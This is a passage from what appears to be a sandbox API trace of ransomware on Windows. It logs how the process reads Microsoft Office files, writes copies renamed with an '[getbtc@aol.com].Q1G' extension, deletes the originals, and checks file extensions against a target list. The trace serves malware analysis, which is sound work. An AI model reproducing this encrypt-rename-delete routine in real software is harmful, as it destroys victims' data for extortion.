hTemplateFile=0x0) returned 0x324 [0251.903] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=207) returned 1 [0251.903] CloseHandle (hObject=0x324) returned 1 [0251.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 0x20 [0251.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.903] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.903] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0251.904] GetLastError () returned 0x0 [0251.904] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xcf, lpOverlapped=0x0) returned 1 [0251.905] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0251.906] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0251.906] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0251.906] SetEndOfFile (hFile=0x1fc) returned 1 [0251.906] CloseHandle (hObject=0x1fc) returned 1 [0251.906] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.906] SetEndOfFile (hFile=0x324) returned 1 [0251.908] CloseHandle (hObject=0x324) returned 1 [0251.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 1 [0251.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.909] lstrlenW (lpString=".doc") returned 4 [0251.909] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0251.909] lstrlenW (lpString=".docx") returned 5 [0251.909] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0251.909] lstrlenW (lpString=".pdf") returned 4 [0251.909] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0251.909] lstrlenW (lpString=".xls") returned 4 [0251.909] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0251.909] lstrlenW (lpString=".xlsx") returned 5 [0251.909] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0251.909] lstrlenW (lpString=".ppt") returned 4 [0251.909] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0251.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.909] lstrlenW (lpString=".zip") returned 4 [0251.909] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0251.909] lstrlenW (lpString=".rar") returned 4 [0251.909] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0251.909] lstrlenW (lpString=".bz2") returned 4 [0251.909] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0251.909] lstrlenW (lpString=".7z") returned 3 [0251.909] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0251.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString=".dbf") returned 4 [0251.910] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString=".1cd") returned 4 [0251.910] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString=".jpg") returned 4 [0251.910] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString=".doc") returned 4 [0251.910] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0251.910] lstrlenW (lpString=".docx") returned 5 [0251.910] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0251.910] lstrlenW (lpString=".pdf") returned 4 [0251.910] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0251.910] lstrlenW (lpString=".xls") returned 4 [0251.910] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0251.910] lstrlenW (lpString=".xlsx") returned 5 [0251.910] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0251.910] lstrlenW (lpString=".ppt") returned 4 [0251.910] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString=".zip") returned 4 [0251.910] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0251.910] lstrlenW (lpString=".rar") returned 4 [0251.910] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0251.910] lstrlenW (lpString=".bz2") returned 4 [0251.910] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0251.910] lstrlenW (lpString=".7z") returned 3 [0251.910] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString=".dbf") returned 4 [0251.910] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.910] lstrlenW (lpString=".1cd") returned 4 [0251.910] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0251.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0251.911] lstrlenW (lpString=".jpg") returned 4 [0251.911] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0251.911] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0251.911] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0251.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.911] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=114) returned 1 [0251.911] CloseHandle (hObject=0x324) returned 1 [0251.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 0x20 [0251.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.912] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.912] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0251.912] GetLastError () returned 0x0 [0251.912] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x72, lpOverlapped=0x0) returned 1 [0251.913] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0252.010] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.010] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0252.010] SetEndOfFile (hFile=0x1fc) returned 1 [0252.011] CloseHandle (hObject=0x1fc) returned 1 [0252.011] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.011] SetEndOfFile (hFile=0x324) returned 1 [0252.013] CloseHandle (hObject=0x324) returned 1 [0252.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 1 [0252.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.132] lstrlenW (lpString=".doc") returned 4 [0252.132] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.132] lstrlenW (lpString=".docx") returned 5 [0252.132] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.132] lstrlenW (lpString=".pdf") returned 4 [0252.132] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.132] lstrlenW (lpString=".xls") returned 4 [0252.132] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.132] lstrlenW (lpString=".xlsx") returned 5 [0252.132] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.132] lstrlenW (lpString=".ppt") returned 4 [0252.132] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.132] lstrlenW (lpString=".zip") returned 4 [0252.132] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.132] lstrlenW (lpString=".rar") returned 4 [0252.132] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.132] lstrlenW (lpString=".bz2") returned 4 [0252.132] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.132] lstrlenW (lpString=".7z") returned 3 [0252.132] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.132] lstrlenW (lpString=".dbf") returned 4 [0252.132] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString=".1cd") returned 4 [0252.133] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString=".jpg") returned 4 [0252.133] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString=".doc") returned 4 [0252.133] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.133] lstrlenW (lpString=".docx") returned 5 [0252.133] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.133] lstrlenW (lpString=".pdf") returned 4 [0252.133] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.133] lstrlenW (lpString=".xls") returned 4 [0252.133] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.133] lstrlenW (lpString=".xlsx") returned 5 [0252.133] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.133] lstrlenW (lpString=".ppt") returned 4 [0252.133] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString=".zip") returned 4 [0252.133] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.133] lstrlenW (lpString=".rar") returned 4 [0252.133] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.133] lstrlenW (lpString=".bz2") returned 4 [0252.133] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.133] lstrlenW (lpString=".7z") returned 3 [0252.133] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString=".dbf") returned 4 [0252.133] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString=".1cd") returned 4 [0252.133] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0252.133] lstrlenW (lpString=".jpg") returned 4 [0252.134] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.134] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0252.134] lstrlenW (lpString="ORGCH.VRD") returned 9 [0252.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.154] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1608) returned 1 [0252.154] CloseHandle (hObject=0x3a8) returned 1 [0252.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 0x20 [0252.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.156] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.157] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.157] GetLastError () returned 0x0 [0252.157] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x648, lpOverlapped=0x0) returned 1 [0252.159] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x650, lpOverlapped=0x0) returned 1 [0252.159] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.159] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0252.159] SetEndOfFile (hFile=0x3a0) returned 1 [0252.160] CloseHandle (hObject=0x3a0) returned 1 [0252.160] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.160] SetEndOfFile (hFile=0x398) returned 1 [0252.162] CloseHandle (hObject=0x398) returned 1 [0252.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 1 [0252.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.163] lstrlenW (lpString=".doc") returned 4 [0252.163] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0252.163] lstrlenW (lpString=".docx") returned 5 [0252.163] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0252.163] lstrlenW (lpString=".pdf") returned 4 [0252.163] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0252.163] lstrlenW (lpString=".xls") returned 4 [0252.163] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0252.163] lstrlenW (lpString=".xlsx") returned 5 [0252.163] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0252.163] lstrlenW (lpString=".ppt") returned 4 [0252.163] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0252.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.163] lstrlenW (lpString=".zip") returned 4 [0252.163] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0252.163] lstrlenW (lpString=".rar") returned 4 [0252.163] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0252.163] lstrlenW (lpString=".bz2") returned 4 [0252.163] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0252.163] lstrlenW (lpString=".7z") returned 3 [0252.163] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0252.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.163] lstrlenW (lpString=".dbf") returned 4 [0252.163] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0252.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.163] lstrlenW (lpString=".1cd") returned 4 [0252.164] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0252.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.164] lstrlenW (lpString=".jpg") returned 4 [0252.164] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0252.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.164] lstrlenW (lpString=".doc") returned 4 [0252.164] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0252.164] lstrlenW (lpString=".docx") returned 5 [0252.164] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0252.164] lstrlenW (lpString=".pdf") returned 4 [0252.164] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0252.164] lstrlenW (lpString=".xls") returned 4 [0252.164] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0252.164] lstrlenW (lpString=".xlsx") returned 5 [0252.164] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0252.164] lstrlenW (lpString=".ppt") returned 4 [0252.164] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0252.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.164] lstrlenW (lpString=".zip") returned 4 [0252.164] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0252.164] lstrlenW (lpString=".rar") returned 4 [0252.164] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0252.164] lstrlenW (lpString=".bz2") returned 4 [0252.164] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0252.164] lstrlenW (lpString=".7z") returned 3 [0252.164] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0252.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.164] lstrlenW (lpString=".dbf") returned 4 [0252.164] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0252.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.165] lstrlenW (lpString=".1cd") returned 4 [0252.165] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0252.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57 [0252.165] lstrlenW (lpString=".jpg") returned 4 [0252.165] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0252.165] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0252.165] lstrlenW (lpString="ORGPOS.VRD") returned 10 [0252.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.165] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1098) returned 1 [0252.165] CloseHandle (hObject=0x398) returned 1 [0252.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 0x20 [0252.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.166] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: 